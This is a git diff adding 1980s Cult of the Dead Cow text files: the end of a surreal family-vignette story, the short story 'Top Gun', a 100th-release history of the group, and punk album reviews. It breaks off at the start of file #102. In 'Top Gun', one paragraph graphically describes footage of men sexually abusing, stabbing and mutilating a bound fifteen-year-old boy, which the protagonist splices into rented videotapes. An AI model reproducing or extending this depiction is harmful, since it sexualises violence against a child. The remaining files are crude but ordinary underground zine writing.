pizzeria, a dough-thrower in floured clothes made a big fish gesture +to his co-worker and raved about marlins in Portuguese. I ordered a large +deluxe, extra anchovies. + Waiting in a red booth, I gazed at the Holiday Inn parking lot across the +street. In its flat stardust, I recalled the works I'd just seen - young +sluts, naked but for their wigs, lolling around on crabby mattresses; pretty +Nick Zedd, moping on porcelain in his party dress; some dejected girl with a +rhinestone through her nose, saying sad and angry things. + I thought about how we could emulate the degenerate glamour of those +downtown movies. We could put a bunch of people in long leather coats and give +them toys to play with: eyeliner, pocket snakes, switchblades, flaking green +Coupe de Villes with cat bones hanging from the rear-view mirrors, heroin +habbits. We could call it DIRTY NEEDLE SPREE. + But why bother, when the thrill of urban blight is already being dealt +with so successfully. We should stick to family entertainment, I decided as I +carried the pizza up the hill to headquarters. +_______________________________________________________________________________ + + +Scene 1: ROCK WORSHIP + + A girl named Matilda and her great aunt Gertrude sit on a porch swing. +Gertrude is an old hag with a polio-withered arm who smokes a lot of Kools. +The porch where they sit and swing is surrounded by mallow bushes whose wilting +puce blooms are the same color and texture as Gertrude's lingerie. Gertrude +pops a lemon drop, licks her chin, and begins to talk. + "My grandparents came over on a boat from Bohemia. Once here, they set up +a dressmaking shop. They did well. But the more money they made, the more +they hated each other. + "One day my grandfather withdrew all their savings, got drunk, and lost +everything at the races. Hungover and broke, he tied a rock to his neck and +drowned himself in six inches of pond water. My grandmother brought the rock +home from the police station and put it on the mantlepiece in her front parlor, +so she could thank it every morning." + Cutaway to a single shot of a bustled woman sitting beside a hearth fire. +She strokes the rock she holds in her lap, and hums. + + +Scene 2: MOM ENTERS THE NEW AGE + + "Why does your mother spend so much time in the bathroom these days?" +Gertrude asks Matilda as they watch the sunset from the porch. + "She's trying to rejuvenate herself. The bathroom is her spa." + Gertrude lights up a Kool, the sack of flesh on her good arm swaying. +"I'd rather play pinochle," she says. + "Yeah," says Matilda. + Cutaway to several shots of a postmenopausal matron taking enemas by +candlelight. She looks into the toilet to catch another glimpse of the past +she just expelled - as if the swirl of flushing could foretell the reversal of +her future. In the background, surrounded by crystals, a peach-colored +cassette deck intones, "You alone have the power to create your own reality." + + +Scene 3: NEXT DOOR WITH THE BRAUERS + + It has grown late. By yellow porch light, Matilda is reading aloud from +INTERVIEW. Gertrude, smoking, looks out into the green dark. + "Bill Brauer!" says Matilda, turning a page. "Wow. He used to live next +door. I thought he was only good at lawn jobs. But he's a hot new painter." + Matilda picks open a bug bite on her shank as she begins to read about +Bill. + + Cutaway to years ago, next door. + Bill is a wiry fifteen-year-old youth with stringy hair, bagged eyes, and +knee-high suede moccasins into which he tucks his jeans. After positioning +half of his sister Nancy's thirty plastic horse models in the stud-fuck stance +atop the rumps of the other half, Bill opens all of the windows of the second +floor sun porch, then sprinkles birdseed on its floors. When a good crop of +pigeons has flown in to peck, Bill slides outside and closes the windows with a +laundry hook. Then he run upstairs and shoots all the pigeons with a pellet +gun. Meanwhile his twelve-year-old sister Nancy, clad in a leopard print +bikini, hangs by her knees from a sycamore branch in the back yard and shrieks, +"I'm adopted! I'm adopted! I know I'm adopted!" Oblivious, their mother, +Cookie, sits at a vanity table in the grey light of her bedroom, slowly +smearing on more coral lipstick. + + +Scene 4: LILLY IN THE CITY + + "I got a postcard from Lilly today," says Matilda, putting down her +magazine. "It was a picture of the Manhattan skyline. She wrote, 'I've +started wearing white press-on fingernails and big gaudy rings.' I wonder what +else she's doing up there. Here she was always on the verge of going to a +Polynesian restaurant." + Gertrude sips her Fresca and says, "She was named after my step-sister +Lilly, a gun moll for Jelly Roll Eagan. Cats used to follow that woman +everywhere. She died blind at ninety in stiletto heels and falsies, her +bathroom wastebasket full of dye gloves. She hardly had any hair left, but +what was left was red." + Cutaway to a woman out on a fire escape, muttering curses to a sunken +moon. Her red hair is a mess. She wears silk charmeuse, and an eyepatch. The +camera tracks to the window, then focuses on the room inside, where a man in a +muscle shirt erases each eye in every photo of that evening's newspaper. + + +Scene 5: KOOLS + + Gertrude is snoring, so Matilda reaches over and filches a Kool from her +gold lame' cigarette wallet. She snaps the smell of butane shut and draws hard +on the butt. Closing her eyes, she remembers her days of smoking menthols. + Cutaway to Matilda as an early teen, sauntering up the street to the +pinball parlor - her hip hugger bell bottoms swishing the thick dusk, her +halter top Egyptian, her belly button on qualudes... the coal of a Kool +burnishing her copper eyeshadow. The soundtrack to her saunter is the wail of +far off trains. + + +Scene 6: THE END + + Matilda flicks the cigarette in a high arc out to the gutter. Gertrude +still snores. Matilda sprays her with OFF and goes inside. +_______________________________________________________________________________ + Behavior Modification.....806/793-9462 The Dead Zone.............214/522-5321 + Demon Roach Underground...806/794-4362 Dragonfire Private........609/424-2606 + Question Authority........715/341-6516 Pure Nihilism.............517/337-7319 + Tequila Willy's...........209/526-3194 The Metal AE..............201/879-6668 +=============================================================================== + 1988 cDc communications by Suzy Rust 12/31/88-98 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0099.txt b/textfiles.com/groups/CDC/cDc-0099.txt new file mode 100644 index 00000000..f13ed73c --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0099.txt @@ -0,0 +1,185 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (' ') (' ') + (U) (U) + + Top Gun + + a short story by Don Howland, from Forced Exposure 'zine #14 + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + "SATANNNNNNNNNNNNNNNNNNNN" + + Electric guitars exploded into static in the cheap speakers mounted on the +roof behind matted furry bucket seats. Arnie Lemon reached down for the tape +deck and turned up the volume. The pavement around him was wet black and +immense disk-like snowflakes whirred from the low sky. The wind shook the +spindly dead-looking branches of tall trees. Friday afternoon. + + "Fucking god!damned! shit-eating bitch! Cunt, fucking shithead cunt HAG." + + A blue haired woman two cars ahead of him seemed reluctant to make a left +turn into the mall lot, despite there being no oncoming traffic within two +hundred yards. The light was about to change. Arnie pushed angrily on his +horn, which hadn't worked for months. The wire responsible for the horn in +fact dangled beneath the car, touching the ground. + + The old woman sluggishly turned at last as the light turned yellow, with +the car just behind riding her ass safely across. The left turn arrow flashed +to red. Arnie Lemon wheeled his royal blue Dodge Swinger across the four lanes +of oncoming traffic. A pickup truck with two fat bearded passengers honked at +him and sped up if they might try to follow him. They didn't. He drove along +the periphery of the huge parking area, cutting over when he thought he saw the +red white and blue lighted logo of the Video America outlet. The bright +colored light was at once warm and inviting and repellent int he frigid gray +dampness. Arnie Lemon parked 100 yards from the store and walked in. He +could've parked closer but reverse was no working well in the Swinger. + + There were three customers inside Video America. One, a middle-aged man +in a tan overcoat who resembled Arnie's father, stood in the nook set aside +for adult movies. He was looking at the wall well above the mounted cassette +boxes, at nothing at all, perhaps trying to remember which ones he'd seen +before, or when his wife was getting back from her sister's in Elyria, tonight +or tomorrow morning. + + "I'd like TOP GUN and COBRA," Arnie Lemon told the clerk without +browsing at all. The clerk glanced at the customer with brief suspicion. +Arnie Lemon, with his eight inch long bird nest of hair and his white tee shirt +with a paper towel logo on it, did not look the type of person to be renting +these titles. + + The clerk thought this instantly, before reason overcame him: what the +hell. "Ah, COBRA is out." + + "OK, OUT OF AFRICA then." Arnie presented a driver's license with a false +name and address and paid the clerk the rental deposit in cash. He took the +white paper bag and turned, bumping into the man who did not look so much like +his father up close. The man had decided upon two colorful boxes with Oriental +women on them, Arnie saw. + + Arnie returned to the Swinger and put the bag on the back seat with many +other such bags. "Let's see now," not needing to think but satisfied with the +day's work. "That's twenty-four movies from twelve different outlets." Twelve +outlets scattered all over town; he'd been at it since ten. He drove home. + + Arnie took the loot upstairs in one trash bag. The cat had just shit and +the small apartment was thick with the meaty shit stink. Arnie opened a window +and watched the hot air swirl out. He sat on the throw rug and sorted through +the bag. A nice haul: five OUT OF AFRICA's, three COBRA's, three POLTERGEIST +II's, four SHORT CIRCUIT's, two INDIANA JONES AND THE TEMPLE OF DOOM's, and the +real prize: seven TOP GUN's. It was with a TOP GUN that he began his work. He +fast forwarded through three quarters of a movie and then hit stop. He then +hit record, at the same time hitting play on a second VHS machine. He'd rigged +the machines to dupe the night before; wires tangled like Spanish moss behind +the TV. The screen now showed five middle aged men having sex with and then +repeatedly stabbing a bound and naked boy of about fifteen. They were in a red +room with boxes on the floor and a full length mirror on the wall which only +reflected the bright light for the movie camera. The naked bodies looked +alabaster. The footage was inarguably authentic. The tail end of the four +minute, crudely spliced sequence, when the camera focused jerkily on the boy's +mutilated torso and then the gouged eye sockets gushing blood, made Arnie +queasy every time he watched it, though he no longer vomited or even choked. + + By the time Arnie Lemon was done grafting the same footage into the +twenty-four rented cassettes it was 3:30 a.m. How time flies. He needed his +sleep as a rule, but he was working this night on coffee and Lucky Strikes. +The filterless cigarettes made his throat ache and his stomach nauseous. +Nausea, Arnie found, was the best guarantee for staying up past his bedtime, +which was usually ten o'clock. He wasn't remotely tired now but went to bed +anyway, sleeping fitfully until 11:00 the next day when his cat howled for her +breakfast. + + Arnie got up and looked at his pale face on the medicine cabinet mirror, +took a long clear piss. On the toilet top were his vitamins. He shook a +Vitamin E from a white plastic jar. It bounced from his hand and fell to the +floor, finally rolling to a stop among the pubic hairs on the piss slick around +the toilet's base. Arnie bent down and picked it up. "Shit," he said aloud. +He rinsed the clear gold vitamin under the faucet. It got softer under the +warm water. It felt like a nipple, a fat nipple, Arnie thought. + + He put it in his mouth and washed it down with a drink of cloudy tepid +water. Then he took a vitamin C and niacinamide. Empty jars of Chelated +Multi-Minerals and vitamin A and D complex and a comb with a white film of dead +skin shared the toilet top. The fey disc jockey on the classical music station +was reading the weather forecast. High 30's, 100% chance of precipitation, +freezing rain, hail. Arnie walked across the previous day's newspaper to the +kitchen nook. No heat came from the wall vent. His bare feet were white and +cold. + + No coffee; he didn't feel like it. Every day his head felt as though it +were filled with white glue and coffee just made it worse. He took a bag from +a box of herb tea his ex-girlfriend gave him after reading in a women's +magazine that camomile was bad for you. Arnie rinsed the rice scum from a pot +and put water on to boil over a blue flame. Breakfast, a bowl of bran with +peanuts and sunflower seeds on it, raisins, plain yogurt, and milk he'd have to +pour down the sink probably the next day. Arnie ate the same thing every +morning but was too lazy to mix the cereal beforehand. + + He sat on the floor and read the Friday paper some more, reading a +lifestyle article about Spam and, because there was nothing else left, the +business section. Sister's Chicken was in trouble. Arnie loved their chicken; +years before he'd gone there with his ex-girlfriend and snuck chicken parts +into his plastic-lined coat pockets and ate so much that he'd nearly vomit. +Ffff. The herb tea tasted like paper. He finished the article, then lay back +on the rug and masturbated thinking about Pam Dawber and Mark Harmon having +sex. He went to the library and read from an encyclopedia of philosophy and +the current New Yorker. He never read books, never finished them. Today he +did not finish any of the articles he began either. At five the library +closed; at 4:49 he went to the audio visual department and signed out a tape by +the David Murray Octet. He went home, ate again and watched a college +basketball game with the sound down and the jazz tape on his stereo. He +masturbated again at halftime, thinking about different things. The game was +essentially over by halftime, but Arnie watched it all. Eighteen points +separated the winner and loser. At 10:30, after drinking a room temperature +beer and smoking two cigarettes, he put on his winter coat and ski cap. He put +all the videotapes back in the green-black trash bag and left. + + Driving around the cold, wet city on a Saturday night made Arnie feel sad. +By the college campus, despite the wind and rain, long lines of students waited +to get into the bars; at the malls there were just a few lonely cars sitting +about the dark edges of the parking lots. Red lights. Out on the mall strips +the bright fast food restaurants were the only signs of life. "People are like +fucking moths," Arnie thought. He was not hungry but stopped at a White Castle +for two cheeseburgers and onion chips which he ate in his car in a dark corner +of the lot by a loaded dumpster. He owed himself a treat, he figured. He +chewed studying the frost-covered plastic bags that had spilled out of the +dumpster. + + People were horrified by Arnie's videotapes. The first outraged phone +calls were received by weary and uninterested police clerks on Sunday evening, +and the newspaper ran three stories - the first on the front page - on the +heinous tampering of popular videocassettes. Police doubted the added footage +originated locally, it fit the description of a crime committed in Las Vegas +which was rumored to have been filmed though no footage ever turned up in the +initial investigation, and who was this sick "David Nicholas"? A police +composite sketch that looked nothing like him except for the hair ran on the +second day on the front page of the local section. On the third day, there was +an article noting that local video rentals had not been hurt by the crime. +Indeed, they'd been helped. TOP GUN and OUT OF AFRICA, the only two titles +mentioned in any of the newspaper articles, were impossible to get hold of at +any video rental outfit in town, the newspaper said. + + On the fourth day, Arnie put the paper down, had another beer and walked +to the barber shop, where against the young barber's protestations he got a +crew cut. Arnie looked at himself in the yellow plastic hand mirror and +smirked wearily. "I look like a dipshit," he thought. His head was as red as +a hothouse tomato, the blood flow to his head blocked by the barber's bib. He +paid the barber a quarter tip and left, dizzy as the blood shot up to his head, +a free man. +_______________________________________________________________________________ + Behavior Modification.....806/793-9462 The Dead Zone.............214/522-5321 + Demon Roach Underground...806/794-4362 Dragonfire Private........609/424-2606 + Question Authority........715/341-6516 Pure Nihilism.............517/337-7319 + Tequila Willy's...........209/526-3194 The Metal AE..............201/879-6668 +=============================================================================== + 1988 cDc communications by Don Howland 12/31/88-99 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0100.txt b/textfiles.com/groups/CDC/cDc-0100.txt new file mode 100644 index 00000000..aec844b3 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0100.txt @@ -0,0 +1,872 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... The cDc #100 BamBam File + by The cDc cultees + + >>> a cDc publication.......1989 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + xXx preface xXx + + Hey there. For cDc's 100th release, we decided we'd do something a +little special. This file is a hodge-podge of various writings from many of +the cDc people, as well as some cDc propaganda thrown in for good measure. +It will attempt to explain what we're about, as well as dispel some of the +wrong ideas people have about our group. Hopefully, it'll be somewhat amusing +as well as informative. + + We had planned on having this file out before the end of '88. There +was a mad rush to get the last few files prior to this one out. Then, in late +December, I had started putting this file together and stupidly overwrote hours +of work with a 2k file on head-bashing or whatever. I was too sick of editing +t-files then to restart on it, so we took a break from putting out any files +for about 4 months. Now we're back with 4 new BBS systems in the glorious +herd, and many more files in the future. We'll be around until we're all +either sick of all this or dead, so watch for our stuff to come. + +Thanks to: all the cDc guys, past and present. The Egyptian Lover and Grand- +master Flash for their systems, The Missing Link/Phreak Klass 2600 and The Red +Raider/Pirates' Cabaret/Missing Link AE, and for their help in getting us +started in telecom in '84. LOD/H. The Rocker and his Speed Demon Private [big +influence on my own board], and his MetalliBashers' Inc. group (MBI). Erik and +David Olson, Matt Storm, and Brandon and Ty Brewer (who are all geniuses). The +Blade for the Metal AE. Anarchy, inc. and Neon Knights/Metal Communications +for their file work in the past. Phantom Access. The Phrack people. The +Snowman and his Pitstop AE/Metalland North/Red Light Section. Body Glove and +the Iron League attempt. The various Metallands BBSs. The Atlantic Alliance +BBS. Ripco BBS. Asmodeus Rex and OOTR (heh...). Black September and xORG. +The Necrovore, The Usurper, and the Cross Of Iron project. The old Pan- +Galactic Entropy crew. The old (pre *-fytrs) Byte Bastards BBS group. The Mad +Hatter and Atom Ant of Down the Rabbit Hole BBS in 805. The Mountain Man. +Digital Logic's Data Service. Sunspot and The Unholy Alliance. Red Knight and +his cDc/Telecom group [good luck!]. Rubik and the cDc/Australia try [oh +well...]. This is getting too long... all the telecom-related groups in +various fields (h/p, cracking, whatever). All the interesting, cool people +I've 'met' through telecom, all over. The people who were nice enough to +include me in their conferences from time to time. Everyone I'm leaving out. +Especially, anyone who's ever taken the time to put out a good, interesting +t-file, the document of our times. + -Swamp Rat 4/23/89 + Editor, cDc communications + + + _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ + _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ + + + xXx contents xXx + +1. "Dead Cows?" +2. "Retro Cow" +3. COW BEAT - Vol. 1, No. 1 +4. cDc propaganda fun +5. miscellaneous mooings + + _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ + _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ + + + xXx "Dead Cows?" xXx + by Swamp Rat + + + This section is a short part on the meaning of cDc and a little on its +origins. cDc was started in July of 1986 by Franken Gibe (Bill), Sid Vicious +(Brandon) and me (Kevin). We were all local to 806 (Lubbock, TX). The +three of us were 15-16 years old at the time; Brandon and I were both running +boards. Like most idiots starting a group, we didn't know why we wanted to +have one, it just "seemed like a good idea at the time." + + Locally, we had had a small sysop association going, known as The +Pan-Galactic Entropy. It was nothing really, but from it came the beginnings +of our little group. We got together with some of the other local people in +the same age range who were 'into' telecom and began helping each other out +with the 'shadier' areas of the hobby. Thus, a group. It seemed like we +should have a name. Logical assumption, right? So we deliberated a while over +this. During a 'chat' with Brandon, we came up with the name, "Cult of the +Dead Cow". Good as any, we supposed. And we didn't want something like all +the others..."Mega-Elite Phreaks And Hackers Of Greater Cleveland" (MEPAHOGC). +And no, it has nothing to do with Satanism. As a matter of fact, we almost +decided on the name, "Cult of the Dead Potatoes" (cDp). + + For a while, the group floundered. The main problem people face when +they decide to form a group is not lack of talent or ability, it's a lack of +direction and definite goals. We had a bunch of people, several boards and a +spiffy name, with nothing much to do. Most of the time in similar situations, +groups break up. However, due to our stubbornness and/or stupidity, we stuck +it out. During this time (late '86-mid '87), several of us had written t-files +now and then. Suddenly it dawned on us, after we had written about 10 files, +that we could specialize in file writing. Bill and I talked this over +extensively and decided that's what we'd do. So cDc became a file-writing +group. There are certain things that people can do in a group context that +can't be done as well when working individually, and working with others in +a group can be fun. You can, as a group, decide to put forth a message +(possibly political) and be more effective with your combined efforts. Those +are some real reasons for forming a telecom group. + + cDc continued with the file writing, and people continue to join the +group and we have become a pretty prolific bunch. In the meantime, Sid-o +"retired" from telecom. Last we heard, he was doing lots of drugs and playing +guitar in a punk band. Franken Gibe writes an occasional file, but doesn't +call out much. I call a few boards, do the minimum necessary to keep my +board from crashing, and edit files when there's time. Most of the people in +the group tend to be "liberal" oriented, and many of our files have a political +or social message in them. We try to have files with good information, humor, +fiction, music, poetry, magazine reprints, or whatever somebody happens to find +interesting. We think of this as a sort of 'zine publishing, with telecom as +the medium. Franken Gibe thought of a good phrase to express our attitude as a +group, "telecom as the means, not the end." We focus on the end, hopefully +human communications. Most other groups focus on telecom as a technology. +That's the difference in our approach, something we're proud of. There's +nothing wrong with pure h/p groups and what they do; people enjoy it as a +challenge. However, we feel that that approach alone leaves something out. +We've been attempting to fill that gap. + + + _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ + _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ + + + xXx "Retro Cow" xXx + by Franken Gibe + + + Two years. Two years since the inception of Cowism-Pragmatism. And what +a stormy, whirlwind of a period it's been. Now that 1989 is breathing down our +necks, and the old year has a day or two left till it crumbles into oblivion, +I thought it'd be worthwhile to confess a few things. Funny things, stupid +things, things you might want to know. This is not an apology by any means. +It's a rough sketch of some of our rougher moments, anecdotes which should be +written down. The lore on the other side of the pasture. + +o"Long before the skies would open", and the Cult was nothing, not even a + concept, and Pangalactic Enema was simply a personal campaign directed + against The Egyptian Lover (never mind, never mind), I found my way into + the modem world. The modem world in general, the late Missing Link (806) + in particular. The names were just names to me, names without faces or + meaning. Lex Luthor, White Knight, Phantom Phreaker. This was the cusp + of the beginning, and these names belonged to a young, second generation. + Blotto and Sherwood Forest and Bioc Agent 007 had already stepped from the + center of the telecom stage, persons and places distorted by the foggy + mythos which is so distinctive and integral a part of the underground. + Yeah, I was just an outside observer. A really disturbed one, at that. + One of my handles was Fructoast, a bisexual prostitute fascinated by + computer jocks. I stepped into the court of the telecom courtiers as a + buffoon, a court jester. But I took my stupidity very seriously, and chafed + under the oppressive hierarchy of the Informed Aristocracy. This is really + where the Cult was born. Cultees should realize that they are the offspring + of a telecom Reformation. The fundamental premise of the Cult was and is + that wit, a sense of humor and esprit de corps, and the ability to express + thoughts and personal philosophy succinctly and well are attributes as + important as a detailed knowledge of a UNIX OS, or the local version of ESS. + +o The preceding paragraphy went further than I'd wished. I guess it is + necessary to stress, though, that the Cult is a splinter group, the vanguard + of a new movement. Before cDc, there were the Elite and the Loserz. It was + a simple, feudal, pre-pubescent system of class discrimination, based on + connections (primarily) and knowledge or experience in the h/p arts. + Not to seem immodest, but cDc was really a liberating force. It mocked the + self-seriousness of the Tcom Elite, it ignored the accepted conventions of + behavior, and gave refuge to the anonymous legions who were interested in + actually communicating, in somehow connecting on a more profound basis than + h/p could offer. 100 files later, files of which only a notable few deal + with h/p subjects at all, the Cult can retrospectively say it's been true + to its mission. Yeah, the tactics did cause some problems, but things + worked out. Maybe this is a good time to segue into the dirt I initially + said I'd discuss. + +o + +[You had to have been there...] + + + +-by Racer X + +And the train just rolled into town +And off this train, three gigantic panda bears did step +And they were hungry, and they were hungry for +For not just sexual favor +They wanted something deeper, something more melodic +Something more tangy, like fish soup +So they made their way across the starry ocean sky, plank backwards +And there, they did meet a fellow with a 'coonskin hat +Who called himself, Matt +He was just sitting there, playing the harmonica, playing the gittar +He was just having a good ol' time, completely naked +He was at one with nature +It was his land, it was mighty Matt's land +And there the squirrels did grow from out the plants that grew +And the pandas, they just shook their fat faces and wondered, +"What's wrong with this guy? Why ain't he got no clothes?" +And then, they shook their might paws up into the sky +And they heard a voice from up above, that shouted down to them, +"You fucking assholes. You guys are such fucking assholes! +Leave 'im alone, leave 'im alone! +You guys are such fucking assholes." + + + _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ + + +In closing: something important to remember with death threats between pirates +and senseless "wars" over egos and such. + +"This isn't real life, you unplug your modem and it's gone, this is supposed + to be enjoyment..." + + -The Gonif, years ago. + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 Greenpeace's IGB......916/673-8412 + \ / |Milliways............718/428-6776 PURE NIHILISM.........517/337-7319 + (' ') |Tequila Willy's GSC..209/526-3194 The Switchboard.......718/358-9209 + (U) |===================================================================== + .ooM |(c)1989 cDc communications by The cDc cultees 04/24/89-#100 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0101.txt b/textfiles.com/groups/CDC/cDc-0101.txt new file mode 100644 index 00000000..457e018c --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0101.txt @@ -0,0 +1,162 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... cDc core #2 + original album reviews + by The Pusher + + >>> a cDc publication.......1989 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +Pusher notes: One minor error in cDc core #1. M.D.C. is from Texas, not San +Francisco. The Doggy Style album I reviewed was Brian Baker's (gits for Dag +Nasty) Doggy Style, an experimental rap/rock project that sucked big-time. +I'll be reviewing an album by the real Doggy Style in cDc core #3. Also, I +don't get albums sent to me, and I don't get bio kits. All information I get +about bands is from reading fanzines, talking to people, hearing stuff here and +there, etc... +_______________________________________________________________________________ + + +-ALL: Allroy For Prez... (Cruz) + +For those of you don't know, this band used to be The Descendents. Lead singer +Milo Aukerman went to graduate school, and Dave Smalley (singer for DYS and Dag +Nasty) became the new lead singer. A new name and new sound followed. Eight +songs of pretty nice power pop here. On this album is "Just Perfect" which was +on the Allroy Sez... LP and was released as a single. Also on here is "Wishing +Well" which was on the b-side of the single. As good as these guys are; +getting commercial airplay, being great musicians and all, everyone would much +rather see The Descendents. Neat little instrumental also (Son-O-Qua). + + +-BAD BRAINS: Live (SST) + +These guys are the best in combining hardcore/rock/funk/reggae. This is 13 +songs from their 1987 "Return to Heaven" tour. HR's ultra-high vocals, and +Dr. Know's guitar make this hard to not like. All their hits like "House of +Suffering", "Sacred Love", "The Regulator", and "F.V.K." are on here. Some +reggae, too, with "I Against I". + + +-CORROSION OF CONFORMITY: Six Songs With Mike Singing: 1985 (Caroline) + +For some reason, hardcore/punk/metal bands don't release "Greatest Hits" +albums, but there's plenty of stuff like this. This is just to steal some +money from people like me who love C.O.C.'s sound, the ultimate in Crossover. +Half of these songs are from their "Eye For Eye Album". Aside from making some +money, there's no purpose to this. + + +-DANZIG: Self-titled (Def Jam) + +This is the first solo album from Glenn Danzig, of Misfits and Samhain fame. +Everyone either thinks this is out-dated garbage or amazing. I think it's +great. Obviously, Misfits and metal fans will love this. If you are into 70's +hard rock, which is what this sounds like, you'll wonder what took so long to +get this out. It's basically a slow album, one word at a time, and I just +wished there was something with some tempo. One of the best releases of the +year in my opinion. Unfortunately, it looks like Glenn is becoming major Rock +Star. (Charging 15 bucks for tickets, unoriginal MTV videos, etc...) + + +ELVIS HITLER: Disgraceland (Restless) + +HEE-HAW! While listening to this you won't know whether to slam dance or +square dance. Punk and country combined producing some real fun songs. +Thirteen incredible tunes that everyone can love. Some highlights are a cover +of "Purple Haze" with the words to "Green Acres", "Hot Rod to Hell", and "Black +Babies Dancing on Fire", which I can't listen to without getting up to dance. +Two instrumentals are on this, "Elvis Ripoff Theme", and "Disgraceland", and +"Crush Your Skull" which is a hardcore song. Cool-sounding fretless bass also. + + +FLIPPER: Sex Bomb Baby! (Subterranean) + +A "Greatest Hits" album from America's answer to PiL. It's in honor of Will +Shatter, bass player for the group, and latest punk rock martyr (Heroin +overdose in December '87, leaving behind girlfriend and unborn son. Nice, +dude.). A whole bunch of stuff on here... singles, tracks from compilations, +live songs. And, like PiL, you can't compare Flipper to any other group. Real +heavy material. A complete discography is included. + + +GOVERNMENT ISSUE: Crash (Giant) + +First, I'd like to say that their last album, You, was god-like. I compare it +to things like the first Suicidals album, "Never Mind the Bollocks..", the +Minor Threat LP, albums that you would think are greatest hits albums. Rock +and Roll. And this... isn't so good. John Stabb sounds a lot different on +this album, not as low. Their overall sound just doesn't have enough "Umph!" +in it. A good 10-song album, but I hope this as far as they go, lest they end +up like Dag Nasty, and ALL (?). + + +LUDICHRIST: Powertrip (Combat) + +Major line up change (that I won't bother going into), since their last album, Immaculate Deception. The result is a really hot album. The right balance of +metal to hardcore. One thing you have to love is that these guys have some +funny songs. Not disgusting funny (Mentors), or idiot funny (M.O.D.), but +something that should get a chuckle out of everyone. For instance, "Zad", +about a boy who rids the world of rock 'n' roll, to "One For the Road", a story +about why you shouldn't drink beer slow, and "This Party Sucks", which is the +sequel to "Most People Are Dicks". And, a cover of "The Barber of Seville" +that even my sister liked. A lyric sheet is a must, as the vocals are over- +whelmed by the dual metallic guitar attack. + + +ROLLINS BAND: Do It (Texas Hotel) + +I could easily write a file on why this guy is an egotistical ASSHOLE! But I +won't. On the first side is 3 cover tunes. One song "Move Right In" is a Lou +Reed song, another "Next Time" (a blues, R&B song), was written by Richard +Berry, who wrote "Louie Louie". I have no idea who wrote the title track. +Since these are some great rock tunes, Henry doesn't fuck these up too much. +On the second side is 6 songs (from the Lifetime and Hot Animal Machine LP's) +that were recorded live in Holland in 1987. If you think Rollins Band=Henry +Rollins=Black Flag, you won't enjoy his solo stuff (I hated it at first). But, +after a while, it's not that bad. All you x-boys should note that Ian MacKaye +produced the first side. + + +WARZONE: Open Your Eyes (Caroline) + +Another album from the premier New York City skinhead band. It's great hard- +core but that's not the problem. The problem is what these guys are saying. +First they've got the song, "Fight the Oppressor". Who do they think the +oppressor is? "Libyan death squads" and "Syrian hitmen". They've obviously +watched Rambo one too many times. And there's "The American Movement". +Supposedly these guys are anti-racist straight-edge, but that song could easily +be the fucking anthem for the White Aryan Resistance! An anti-racist song +called "Racism-World History Part 1" confused things some more. I suppose if +you just like to "Dance Hard or Die" (another song), the lyrics won't really +bother you. "Back to School Again" puts out a very positive message however. +Word! + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 Greenpeace's IGB......916/673-8412 + \ / |PURE NIHILISM........517/337-7319 The Switchboard.......718/358-9209 + (' ') |Tequila Willy's GSC..209/526-3194 time centre...........312/377-0359 + (U) |===================================================================== + .ooM |(c)1989 cDc communications by The Pusher. 04/29/89-#101 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0102.txt b/textfiles.com/groups/CDC/cDc-0102.txt new file mode 100644 index 00000000..a61790b1 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0102.txt @@ -0,0 +1,429 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / 